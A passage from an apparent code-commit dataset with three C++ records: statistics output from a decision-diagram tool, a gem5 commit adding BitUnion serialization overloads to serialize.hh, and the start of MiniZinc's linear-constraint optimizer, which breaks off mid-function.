<< \"  \"\n         << left << setw(3) << p.first\n         << \" => \"\n         << left << setw(10) << p.second.first\n         << right\n         << endl;\n  }\n\n  cout << \"Sequence size frequency:\" << endl;\n  for (auto& p : sequences)\n  {\n    cout << \"  \"\n         << left << setw(3) << p.first\n         << \" => \"\n         << left << setw(10) << p.second\n         << right\n         << endl;\n  }\n\n  size_t max_children = 0;\n  for (auto& p : frequency)\n  {\n    max_children = max_children < p.first\n                 ? p.first\n                 : max_children;\n  }\n  size_t expected = 0;\n  size_t bitfield_size = ceil(static_cast<float>(characters.size())\/8);\n  size_t base_size = bitfield_size + 4 + 8 + 1;\n  cout << \"Bit field size: \" << bitfield_size << \" bytes\" << endl;\n  cout << \"Base node size: \" << base_size << \" bytes\" << endl;\n  const size_t average_length = 100;\n  const size_t bitsize = ceil(log2(characters.size()));\n  cout << \"Bitsize: \" << bitsize << endl;\n  for (size_t i = 0; i <= max_children; ++i)\n  {\n    if (frequency[i].first == 0)\n      continue;\n    size_t subresult = 0;\n    size_t subsize   = 0;\n    if (i == 1)\n    {\n      size_t subcount = 0;\n      for (const auto& p : sequences)\n      {\n        size_t size = base_size + 8 + ceil(static_cast<float>(bitsize)* p.first \/ 8);\n        size += size % 8 == 0\n              ? 0\n              : 8 - (size % 8);\n\n        size *= p.second;\n        subresult += size;\n        subsize   += p.second;\n        subcount  += p.second * p.first;\n      }\n      subresult += (base_size + 8 + ceil(static_cast<float>(bitsize) \/ 8)) * (frequency[1].first - subcount);\n      size_t average = 150;\n      size_t should_size =\n        (base_size + 8 + ceil(static_cast<float>(bitsize)*average \/ 8))\n        * frequency[i].first \/ average;\n    }\n    else\n    {\n      size_t size = base_size + i * 8;\n      size += size % 8 == 0\n            ? 0\n            : 8 - (size % 8);\n      subresult = size * frequency[i].first;\n      subsize   = frequency[i].first;\n    }\n    expected += subresult;\n  }\n  cout << \"Expected size: \" << ceil(static_cast<float>(expected) \/ 1024 \/ 1024) << \" Mbytes\" << endl;\n  cout << \"Original size: \" << ceil(static_cast<float>(sum_inserted) \/ 1024 \/ 1024)\n       << \" Mbytes\"\n       << endl\n       << \"Binary size: \" << (sum_inserted * bitsize \/ 8 \/ 1024 \/ 1024 + 1)\n       << \" Mbytes\"\n       << endl;\n\n  if (nodes <= 5000)\n  {\n    ofstream of (\"machin.dot\");\n    of << sdd::tools::dot (result, order);\n  }\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Nathan Binkert\n *          Erik Hallnor\n *          Steve Reinhardt\n *\/\n\n\/* @file\n * Serialization Interface Declarations\n *\/\n\n#ifndef __SERIALIZE_HH__\n#define __SERIALIZE_HH__\n\n\n#include <iostream>\n#include <list>\n#include <map>\n#include <vector>\n\n#include \"base\/types.hh\"\n\nclass IniFile;\nclass Serializable;\nclass Checkpoint;\nclass SimObject;\nclass EventQueue;\n\n\/** The current version of the checkpoint format.\n * This should be incremented by 1 and only 1 for every new version, where a new\n * version is defined as a checkpoint created before this version won't work on\n * the current version until the checkpoint format is updated. Adding a new\n * SimObject shouldn't cause the version number to increase, only changes to\n * existing objects such as serializing\/unserializing more state, changing sizes\n * of serialized arrays, etc. *\/\nstatic const uint64_t gem5CheckpointVersion = 0x000000000000000d;\n\ntemplate <class T>\nvoid paramOut(std::ostream &os, const std::string &name, const T &param);\n\ntemplate <class T>\nvoid paramIn(Checkpoint *cp, const std::string &section,\n             const std::string &name, T &param);\n\ntemplate <class T>\nbool optParamIn(Checkpoint *cp, const std::string &section,\n             const std::string &name, T &param);\n\ntemplate <class T>\nvoid arrayParamOut(std::ostream &os, const std::string &name,\n                   const T *param, unsigned size);\n\ntemplate <class T>\nvoid arrayParamOut(std::ostream &os, const std::string &name,\n                   const std::vector<T> &param);\n\ntemplate <class T>\nvoid arrayParamOut(std::ostream &os, const std::string &name,\n                   const std::list<T> &param);\n\ntemplate <class T>\nvoid arrayParamIn(Checkpoint *cp, const std::string &section,\n                  const std::string &name, T *param, unsigned size);\n\ntemplate <class T>\nvoid arrayParamIn(Checkpoint *cp, const std::string &section,\n                  const std::string &name, std::vector<T> &param);\n\ntemplate <class T>\nvoid arrayParamIn(Checkpoint *cp, const std::string &section,\n                  const std::string &name, std::list<T> &param);\n\nvoid\nobjParamIn(Checkpoint *cp, const std::string &section,\n           const std::string &name, SimObject * &param);\n\ntemplate <typename T>\nvoid fromInt(T &t, int i)\n{\n    t = (T)i;\n}\n\ntemplate <typename T>\nvoid fromSimObject(T &t, SimObject *s)\n{\n    t = dynamic_cast<T>(s);\n}\n\n\/\/\n\/\/ These macros are streamlined to use in serialize\/unserialize\n\/\/ functions.  It's assumed that serialize() has a parameter 'os' for\n\/\/ the ostream, and unserialize() has parameters 'cp' and 'section'.\n#define SERIALIZE_SCALAR(scalar)        paramOut(os, #scalar, scalar)\n\n#define UNSERIALIZE_SCALAR(scalar)      paramIn(cp, section, #scalar, scalar)\n#define UNSERIALIZE_OPT_SCALAR(scalar)      optParamIn(cp, section, #scalar, scalar)\n\n\/\/ ENUMs are like SCALARs, but we cast them to ints on the way out\n#define SERIALIZE_ENUM(scalar)          paramOut(os, #scalar, (int)scalar)\n\n#define UNSERIALIZE_ENUM(scalar)                \\\n do {                                           \\\n    int tmp;                                    \\\n    paramIn(cp, section, #scalar, tmp);         \\\n    fromInt(scalar, tmp);                    \\\n  } while (0)\n\n#define SERIALIZE_ARRAY(member, size)           \\\n        arrayParamOut(os, #member, member, size)\n\n#define UNSERIALIZE_ARRAY(member, size)         \\\n        arrayParamIn(cp, section, #member, member, size)\n\n#define SERIALIZE_OBJPTR(objptr)        paramOut(os, #objptr, (objptr)->name())\n\n#define UNSERIALIZE_OBJPTR(objptr)                      \\\n  do {                                                  \\\n    SimObject *sptr;                                    \\\n    objParamIn(cp, section, #objptr, sptr);             \\\n    fromSimObject(objptr, sptr);                        \\\n  } while (0)\n\n\/**\n * Basic support for object serialization.\n *\n * @note Many objects that support serialization need to be put in a\n * consistent state when serialization takes place. We refer to the\n * action of forcing an object into a consistent state as\n * 'draining'. Objects that need draining inherit from Drainable. See\n * Drainable for more information.\n *\/\nclass Serializable\n{\n  protected:\n    void nameOut(std::ostream &os);\n    void nameOut(std::ostream &os, const std::string &_name);\n\n  public:\n    Serializable();\n    virtual ~Serializable();\n\n    \/\/ manditory virtual function, so objects must provide names\n    virtual const std::string name() const = 0;\n\n    virtual void serialize(std::ostream &os);\n    virtual void unserialize(Checkpoint *cp, const std::string &section);\n\n    static Serializable *create(Checkpoint *cp, const std::string &section);\n\n    static int ckptCount;\n    static int ckptMaxCount;\n    static int ckptPrevCount;\n    static void serializeAll(const std::string &cpt_dir);\n    static void unserializeGlobals(Checkpoint *cp);\n};\n\nvoid debug_serialize(const std::string &cpt_dir);\n\n\/\/\n\/\/ A SerializableBuilder serves as an evaluation context for a set of\n\/\/ parameters that describe a specific instance of a Serializable.  This\n\/\/ evaluation context corresponds to a section in the .ini file (as\n\/\/ with the base ParamContext) plus an optional node in the\n\/\/ configuration hierarchy (the configNode member) for resolving\n\/\/ Serializable references.  SerializableBuilder is an abstract superclass;\n\/\/ derived classes specialize the class for particular subclasses of\n\/\/ Serializable (e.g., BaseCache).\n\/\/\n\/\/ For typical usage, see the definition of\n\/\/ SerializableClass::createObject().\n\/\/\nclass SerializableBuilder\n{\n  public:\n\n    SerializableBuilder() {}\n\n    virtual ~SerializableBuilder() {}\n\n    \/\/ Create the actual Serializable corresponding to the parameter\n    \/\/ values in this context.  This function is overridden in derived\n    \/\/ classes to call a specific constructor for a particular\n    \/\/ subclass of Serializable.\n    virtual Serializable *create() = 0;\n};\n\n\/\/\n\/\/ An instance of SerializableClass corresponds to a class derived from\n\/\/ Serializable.  The SerializableClass instance serves to bind the string\n\/\/ name (found in the config file) to a function that creates an\n\/\/ instance of the appropriate derived class.\n\/\/\n\/\/ This would be much cleaner in Smalltalk or Objective-C, where types\n\/\/ are first-class objects themselves.\n\/\/\nclass SerializableClass\n{\n  public:\n\n    \/\/ Type CreateFunc is a pointer to a function that creates a new\n    \/\/ simulation object builder based on a .ini-file parameter\n    \/\/ section (specified by the first string argument), a unique name\n    \/\/ for the object (specified by the second string argument), and\n    \/\/ an optional config hierarchy node (specified by the third\n    \/\/ argument).  A pointer to the new SerializableBuilder is returned.\n    typedef Serializable *(*CreateFunc)(Checkpoint *cp,\n                                        const std::string &section);\n\n    static std::map<std::string,CreateFunc> *classMap;\n\n    \/\/ Constructor.  For example:\n    \/\/\n    \/\/ SerializableClass baseCacheSerializableClass(\"BaseCacheSerializable\",\n    \/\/                         newBaseCacheSerializableBuilder);\n    \/\/\n    SerializableClass(const std::string &className, CreateFunc createFunc);\n\n    \/\/ create Serializable given name of class and pointer to\n    \/\/ configuration hierarchy node\n    static Serializable *createObject(Checkpoint *cp,\n                                      const std::string &section);\n};\n\n\/\/\n\/\/ Macros to encapsulate the magic of declaring & defining\n\/\/ SerializableBuilder and SerializableClass objects\n\/\/\n\n#define REGISTER_SERIALIZEABLE(CLASS_NAME, OBJ_CLASS)                      \\\nSerializableClass the##OBJ_CLASS##Class(CLASS_NAME,                        \\\n                                         OBJ_CLASS::createForUnserialize);\n\n\/\/ Base class to wrap object resolving functionality.  This can be\n\/\/ provided to Checkpoint to allow it to map object names onto\n\/\/ object C++ objects in which to unserialize\nclass SimObjectResolver\n{\n  public:\n    virtual ~SimObjectResolver() { }\n\n    \/\/ Find a SimObject given a full path name\n    virtual SimObject *resolveSimObject(const std::string &name) = 0;\n};\n\nclass Checkpoint\n{\n  private:\n\n    IniFile *db;\n\n    SimObjectResolver &objNameResolver;\n\n  public:\n    Checkpoint(const std::string &cpt_dir, SimObjectResolver &resolver);\n    ~Checkpoint();\n\n    const std::string cptDir;\n\n    bool find(const std::string &section, const std::string &entry,\n              std::string &value);\n\n    bool findObj(const std::string &section, const std::string &entry,\n                 SimObject *&value);\n\n    bool sectionExists(const std::string &section);\n\n    \/\/ The following static functions have to do with checkpoint\n    \/\/ creation rather than restoration.  This class makes a handy\n    \/\/ namespace for them though.  Currently no Checkpoint object is\n    \/\/ created on serialization (only unserialization) so we track the\n    \/\/ directory name as a global.  It would be nice to change this\n    \/\/ someday\n\n  private:\n    \/\/ current directory we're serializing into.\n    static std::string currentDirectory;\n\n  public:\n    \/\/ Set the current directory.  This function takes care of\n    \/\/ inserting curTick() if there's a '%d' in the argument, and\n    \/\/ appends a '\/' if necessary.  The final name is returned.\n    static std::string setDir(const std::string &base_name);\n\n    \/\/ Export current checkpoint directory name so other objects can\n    \/\/ derive filenames from it (e.g., memory).  The return value is\n    \/\/ guaranteed to end in '\/' so filenames can be directly appended.\n    \/\/ This function is only valid while a checkpoint is being created.\n    static std::string dir();\n\n    \/\/ Filename for base checkpoint file within directory.\n    static const char *baseFilename;\n};\n\n#endif \/\/ __SERIALIZE_HH__\n<commit_msg>sim: Add support for serializing BitUnionXX<commit_after>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Nathan Binkert\n *          Erik Hallnor\n *          Steve Reinhardt\n *\/\n\n\/* @file\n * Serialization Interface Declarations\n *\/\n\n#ifndef __SERIALIZE_HH__\n#define __SERIALIZE_HH__\n\n\n#include <iostream>\n#include <list>\n#include <map>\n#include <vector>\n\n#include \"base\/bitunion.hh\"\n#include \"base\/types.hh\"\n\nclass IniFile;\nclass Serializable;\nclass Checkpoint;\nclass SimObject;\nclass EventQueue;\n\n\/** The current version of the checkpoint format.\n * This should be incremented by 1 and only 1 for every new version, where a new\n * version is defined as a checkpoint created before this version won't work on\n * the current version until the checkpoint format is updated. Adding a new\n * SimObject shouldn't cause the version number to increase, only changes to\n * existing objects such as serializing\/unserializing more state, changing sizes\n * of serialized arrays, etc. *\/\nstatic const uint64_t gem5CheckpointVersion = 0x000000000000000d;\n\ntemplate <class T>\nvoid paramOut(std::ostream &os, const std::string &name, const T &param);\n\ntemplate <typename DataType, typename BitUnion>\nvoid paramOut(std::ostream &os, const std::string &name,\n              const BitfieldBackend::BitUnionOperators<DataType, BitUnion> &p)\n{\n    paramOut(os, name, p.__data);\n}\n\ntemplate <class T>\nvoid paramIn(Checkpoint *cp, const std::string &section,\n             const std::string &name, T &param);\n\ntemplate <typename DataType, typename BitUnion>\nvoid paramIn(Checkpoint *cp, const std::string &section,\n             const std::string &name,\n             BitfieldBackend::BitUnionOperators<DataType, BitUnion> &p)\n{\n    paramIn(cp, section, name, p.__data);\n}\n\ntemplate <class T>\nbool optParamIn(Checkpoint *cp, const std::string &section,\n             const std::string &name, T &param);\n\ntemplate <typename DataType, typename BitUnion>\nbool optParamIn(Checkpoint *cp, const std::string &section,\n                const std::string &name,\n                BitfieldBackend::BitUnionOperators<DataType, BitUnion> &p)\n{\n    return optParamIn(cp, section, name, p.__data);\n}\n\ntemplate <class T>\nvoid arrayParamOut(std::ostream &os, const std::string &name,\n                   const T *param, unsigned size);\n\ntemplate <class T>\nvoid arrayParamOut(std::ostream &os, const std::string &name,\n                   const std::vector<T> &param);\n\ntemplate <class T>\nvoid arrayParamOut(std::ostream &os, const std::string &name,\n                   const std::list<T> &param);\n\ntemplate <class T>\nvoid arrayParamIn(Checkpoint *cp, const std::string &section,\n                  const std::string &name, T *param, unsigned size);\n\ntemplate <class T>\nvoid arrayParamIn(Checkpoint *cp, const std::string &section,\n                  const std::string &name, std::vector<T> &param);\n\ntemplate <class T>\nvoid arrayParamIn(Checkpoint *cp, const std::string &section,\n                  const std::string &name, std::list<T> &param);\n\nvoid\nobjParamIn(Checkpoint *cp, const std::string &section,\n           const std::string &name, SimObject * &param);\n\ntemplate <typename T>\nvoid fromInt(T &t, int i)\n{\n    t = (T)i;\n}\n\ntemplate <typename T>\nvoid fromSimObject(T &t, SimObject *s)\n{\n    t = dynamic_cast<T>(s);\n}\n\n\/\/\n\/\/ These macros are streamlined to use in serialize\/unserialize\n\/\/ functions.  It's assumed that serialize() has a parameter 'os' for\n\/\/ the ostream, and unserialize() has parameters 'cp' and 'section'.\n#define SERIALIZE_SCALAR(scalar)        paramOut(os, #scalar, scalar)\n\n#define UNSERIALIZE_SCALAR(scalar)      paramIn(cp, section, #scalar, scalar)\n#define UNSERIALIZE_OPT_SCALAR(scalar)      optParamIn(cp, section, #scalar, scalar)\n\n\/\/ ENUMs are like SCALARs, but we cast them to ints on the way out\n#define SERIALIZE_ENUM(scalar)          paramOut(os, #scalar, (int)scalar)\n\n#define UNSERIALIZE_ENUM(scalar)                \\\n do {                                           \\\n    int tmp;                                    \\\n    paramIn(cp, section, #scalar, tmp);         \\\n    fromInt(scalar, tmp);                    \\\n  } while (0)\n\n#define SERIALIZE_ARRAY(member, size)           \\\n        arrayParamOut(os, #member, member, size)\n\n#define UNSERIALIZE_ARRAY(member, size)         \\\n        arrayParamIn(cp, section, #member, member, size)\n\n#define SERIALIZE_OBJPTR(objptr)        paramOut(os, #objptr, (objptr)->name())\n\n#define UNSERIALIZE_OBJPTR(objptr)                      \\\n  do {                                                  \\\n    SimObject *sptr;                                    \\\n    objParamIn(cp, section, #objptr, sptr);             \\\n    fromSimObject(objptr, sptr);                        \\\n  } while (0)\n\n\/**\n * Basic support for object serialization.\n *\n * @note Many objects that support serialization need to be put in a\n * consistent state when serialization takes place. We refer to the\n * action of forcing an object into a consistent state as\n * 'draining'. Objects that need draining inherit from Drainable. See\n * Drainable for more information.\n *\/\nclass Serializable\n{\n  protected:\n    void nameOut(std::ostream &os);\n    void nameOut(std::ostream &os, const std::string &_name);\n\n  public:\n    Serializable();\n    virtual ~Serializable();\n\n    \/\/ manditory virtual function, so objects must provide names\n    virtual const std::string name() const = 0;\n\n    virtual void serialize(std::ostream &os);\n    virtual void unserialize(Checkpoint *cp, const std::string &section);\n\n    static Serializable *create(Checkpoint *cp, const std::string &section);\n\n    static int ckptCount;\n    static int ckptMaxCount;\n    static int ckptPrevCount;\n    static void serializeAll(const std::string &cpt_dir);\n    static void unserializeGlobals(Checkpoint *cp);\n};\n\nvoid debug_serialize(const std::string &cpt_dir);\n\n\/\/\n\/\/ A SerializableBuilder serves as an evaluation context for a set of\n\/\/ parameters that describe a specific instance of a Serializable.  This\n\/\/ evaluation context corresponds to a section in the .ini file (as\n\/\/ with the base ParamContext) plus an optional node in the\n\/\/ configuration hierarchy (the configNode member) for resolving\n\/\/ Serializable references.  SerializableBuilder is an abstract superclass;\n\/\/ derived classes specialize the class for particular subclasses of\n\/\/ Serializable (e.g., BaseCache).\n\/\/\n\/\/ For typical usage, see the definition of\n\/\/ SerializableClass::createObject().\n\/\/\nclass SerializableBuilder\n{\n  public:\n\n    SerializableBuilder() {}\n\n    virtual ~SerializableBuilder() {}\n\n    \/\/ Create the actual Serializable corresponding to the parameter\n    \/\/ values in this context.  This function is overridden in derived\n    \/\/ classes to call a specific constructor for a particular\n    \/\/ subclass of Serializable.\n    virtual Serializable *create() = 0;\n};\n\n\/\/\n\/\/ An instance of SerializableClass corresponds to a class derived from\n\/\/ Serializable.  The SerializableClass instance serves to bind the string\n\/\/ name (found in the config file) to a function that creates an\n\/\/ instance of the appropriate derived class.\n\/\/\n\/\/ This would be much cleaner in Smalltalk or Objective-C, where types\n\/\/ are first-class objects themselves.\n\/\/\nclass SerializableClass\n{\n  public:\n\n    \/\/ Type CreateFunc is a pointer to a function that creates a new\n    \/\/ simulation object builder based on a .ini-file parameter\n    \/\/ section (specified by the first string argument), a unique name\n    \/\/ for the object (specified by the second string argument), and\n    \/\/ an optional config hierarchy node (specified by the third\n    \/\/ argument).  A pointer to the new SerializableBuilder is returned.\n    typedef Serializable *(*CreateFunc)(Checkpoint *cp,\n                                        const std::string &section);\n\n    static std::map<std::string,CreateFunc> *classMap;\n\n    \/\/ Constructor.  For example:\n    \/\/\n    \/\/ SerializableClass baseCacheSerializableClass(\"BaseCacheSerializable\",\n    \/\/                         newBaseCacheSerializableBuilder);\n    \/\/\n    SerializableClass(const std::string &className, CreateFunc createFunc);\n\n    \/\/ create Serializable given name of class and pointer to\n    \/\/ configuration hierarchy node\n    static Serializable *createObject(Checkpoint *cp,\n                                      const std::string &section);\n};\n\n\/\/\n\/\/ Macros to encapsulate the magic of declaring & defining\n\/\/ SerializableBuilder and SerializableClass objects\n\/\/\n\n#define REGISTER_SERIALIZEABLE(CLASS_NAME, OBJ_CLASS)                      \\\nSerializableClass the##OBJ_CLASS##Class(CLASS_NAME,                        \\\n                                         OBJ_CLASS::createForUnserialize);\n\n\/\/ Base class to wrap object resolving functionality.  This can be\n\/\/ provided to Checkpoint to allow it to map object names onto\n\/\/ object C++ objects in which to unserialize\nclass SimObjectResolver\n{\n  public:\n    virtual ~SimObjectResolver() { }\n\n    \/\/ Find a SimObject given a full path name\n    virtual SimObject *resolveSimObject(const std::string &name) = 0;\n};\n\nclass Checkpoint\n{\n  private:\n\n    IniFile *db;\n\n    SimObjectResolver &objNameResolver;\n\n  public:\n    Checkpoint(const std::string &cpt_dir, SimObjectResolver &resolver);\n    ~Checkpoint();\n\n    const std::string cptDir;\n\n    bool find(const std::string &section, const std::string &entry,\n              std::string &value);\n\n    bool findObj(const std::string &section, const std::string &entry,\n                 SimObject *&value);\n\n    bool sectionExists(const std::string &section);\n\n    \/\/ The following static functions have to do with checkpoint\n    \/\/ creation rather than restoration.  This class makes a handy\n    \/\/ namespace for them though.  Currently no Checkpoint object is\n    \/\/ created on serialization (only unserialization) so we track the\n    \/\/ directory name as a global.  It would be nice to change this\n    \/\/ someday\n\n  private:\n    \/\/ current directory we're serializing into.\n    static std::string currentDirectory;\n\n  public:\n    \/\/ Set the current directory.  This function takes care of\n    \/\/ inserting curTick() if there's a '%d' in the argument, and\n    \/\/ appends a '\/' if necessary.  The final name is returned.\n    static std::string setDir(const std::string &base_name);\n\n    \/\/ Export current checkpoint directory name so other objects can\n    \/\/ derive filenames from it (e.g., memory).  The return value is\n    \/\/ guaranteed to end in '\/' so filenames can be directly appended.\n    \/\/ This function is only valid while a checkpoint is being created.\n    static std::string dir();\n\n    \/\/ Filename for base checkpoint file within directory.\n    static const char *baseFilename;\n};\n\n#endif \/\/ __SERIALIZE_HH__\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\n\/*\n *  Main authors:\n *     Guido Tack <guido.tack@monash.edu>\n *\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <minizinc\/optimize_constraints.hh>\n#include <minizinc\/eval_par.hh>\n#include <minizinc\/flatten_internal.hh>\n\nnamespace MiniZinc {\n\n  void\n  OptimizeRegistry::reg(const MiniZinc::ASTString& call, optimizer opt) {\n    _m.insert(std::make_pair(call, opt));\n  }\n  \n  OptimizeRegistry::ConstraintStatus\n  OptimizeRegistry::process(EnvI& env, MiniZinc::Item* i, MiniZinc::Call* c, Expression*& rewrite) {\n    ASTStringMap<optimizer>::t::iterator it = _m.find(c->id());\n    if (it != _m.end()) {\n      return it->second(env,i,c,rewrite);\n    }\n    return CS_NONE;\n  }\n  \n  OptimizeRegistry&\n  OptimizeRegistry::registry(void) {\n    static OptimizeRegistry reg;\n    return reg;\n  }\n  \n  namespace Optimizers {\n    \n    OptimizeRegistry::ConstraintStatus o_linear(EnvI& env, Item* i, Call* c, Expression*& rewrite) {\n      ArrayLit* al_c = eval_array_lit(env,c->args()[0]);\n      std::vector<IntVal> coeffs(al_c->v().size());\n      for (unsigned int i=0; i<al_c->v().size(); i++) {\n        coeffs[i] = eval_int(env,al_c->v()[i]);\n      }\n      ArrayLit* al_x = eval_array_lit(env,c->args()[1]);\n      std::vector<KeepAlive> x(al_x->v().size());\n      for (unsigned int i=0; i<al_x->v().size(); i++) {\n        x[i] = al_x->v()[i];\n      }\n      IntVal d = 0;\n      simplify_lin<IntLit>(coeffs, x, d);\n      if (coeffs.size()==0) {\n        bool failed;\n        if (c->id()==constants().ids.int_.lin_le) {\n          failed = (d > eval_int(env,c->args()[2]));\n        } else if (c->id()==constants().ids.int_.lin_eq) {\n          failed = (d != eval_int(env,c->args()[2]));\n        } else {\n          failed = (d == eval_int(env,c->args()[2]));\n        }\n        if (failed) {\n          return OptimizeRegistry::CS_FAILED;\n        } else {\n          return OptimizeRegistry::CS_ENTAILED;\n        }\n      } else if (coeffs.size()==1 && (i->isa<ConstraintI>() || i->cast<VarDeclI>()->e()->ti()->domain()==constants().lit_true)) {\n        VarDecl* vd = x[0]()->cast<Id>()->decl();\n        IntSetVal* domain = vd->ti()->domain() ? eval_intset(env,vd->ti()->domain()) : NULL;\n        if (c->id()==constants().ids.int_.lin_eq) {\n          IntVal rd = eval_int(env,c->args()[2])-d;\n          if (rd % coeffs[0] == 0) {\n            IntVal nd = rd \/ coeffs[0];\n            if (domain && !domain->contains(nd))\n              return OptimizeRegistry::CS_FAILED;\n            std::vector<Expression*> args(2);\n            args[0] = x[0](); args[1] = IntLit::a(nd);\n            Call* c = new Call(Location(), constants().ids.int_.eq, args);\n            c->type(Type::varbool());\n            rewrite = c;\n            return OptimizeRegistry::CS_REWRITE;\n          } else {\n            return OptimizeRegistry::CS_FAILED;\n          }\n        } else if (c->id()==constants().ids.int_.lin_le) {\n          IntVal ac = std::abs(coeffs[0]);\n          IntVal rd = eval_int(env,c->args()[2])-d;\n          IntVal ad = std::abs(rd);\n          IntVal nd;\n          if (ad % ac == 0) {\n            nd = rd \/ coeffs[0];\n          } else {\n            double nd_d = static_cast<double>(ad.toInt()) \/ static_cast<double>(ac.toInt());\n            if (coeffs[0] >= 0 && rd >= 0) {\n              nd = std::floor(nd_d);\n            } else if (rd >= 0) {\n              nd = -std::floor(nd_d);\n            } else if (coeffs[0] >= 0) {\n              nd = -std::ceil(nd_d);\n            } else {\n              nd = std::ceil(nd_d);\n            }\n          }\n          bool swapSign = coeffs[0] < 0;\n          if (domain) {\n            if (swapSign) {\n              if (domain->max() < nd) {\n                return OptimizeRegistry::CS_FAILED;\n              }\n              else if (domain->min() >= nd)\n                return OptimizeRegistry::CS_ENTAILED;\n            } else {\n              if (domain->min() > nd) {\n                return OptimizeRegistry::CS_FAILED;\n              }\n              else if (domain->max() <= nd)\n                return OptimizeRegistry::CS_ENTAILED;\n            }\n            std::vector<Expression*> args(2);\n            args[0] = x[0](); args[1] = IntLit::a(nd);\n            if (swapSign)\n              std::swap(args[0], args[1]);\n            Call* nc = new Call(Location(), constants().ids.int_.le, args);\n            nc->type(Type::varbool());\n            rewrite = nc;\n            return OptimizeRegistry::CS_REWRITE;\n          }\n        }\n      } else if (c->id()==constants().ids.int_.lin_eq && coeffs.size()==2  &&\n                 ((coeffs[0]==1 && coeffs[1]==-1) || (coeffs[1]==1 && coeffs[0]==-1)) && eval_int(env,c->args()[2])-d==0) {\n        std::vector<Expression*> args(2);\n        args[0] = x[0](); args[1] = x[1]();\n        Call* c = new Call(Location(), constants().ids.int_.eq, args);\n        rewrite = c;\n        return OptimizeRegistry::CS_REWRITE;\n      }\n      if (coeffs.size() < al_c->v().size()) {\n        std::vector<Expression*> coeffs_e(coeffs.size());\n        std::vector<Expression*> x_e(coeffs.size());\n        for (unsigned int i=0; i<coeffs.size(); i++) {\n          coeffs_e[i] = IntLit::a(coeffs[i]);\n          x_e[i] = x[i]();\n        }\n        ArrayLit* al_c_new = new ArrayLit(al_c->loc(),coeffs_e);\n        al_c_new->type(Type::parint(1));\n        ArrayLit* al_x_new = new ArrayLit(al_x->loc(),x_e);\n        al_x_new->type(al_x->type());\n        c->args()[0] = al_c_new;\n        c->args()[1] = al_x_new;\n        if (d != 0) {\n          c->args()[2] = IntLit::a(eval_int(env,c->args()[2])-d);\n        }\n      }\n      return OptimizeRegistry::CS_OK;\n    }\n\n    OptimizeRegistry::ConstraintStatus o_lin_exp(EnvI& env, Item* i, Call* c, Expression*& rewrite) {\n      if (c->type().isint()) {\n        ArrayLit* al_c = eval_array_lit(env,c->args()[0]);\n        std::vector<IntVal> coeffs(al_c->v().size());\n        for (unsigned int i=0; i<al_c->v().size(); i++) {\n          coeffs[i] = eval_int(env,al_c->v()[i]);\n        }\n        ArrayLit* al_x = eval_array_lit(env,c->args()[1]);\n        std::vector<KeepAlive> x(al_x->v().size());\n        for (unsigned int i=0; i<al_x->v().size(); i++) {\n          x[i] = al_x->v()[i];\n        }\n        IntVal d = eval_int(env,c->args()[2]);\n        simplify_lin<IntLit>(coeffs, x, d);\n        if (coeffs.size()==0) {\n          rewrite = IntLit::a(d);\n          return 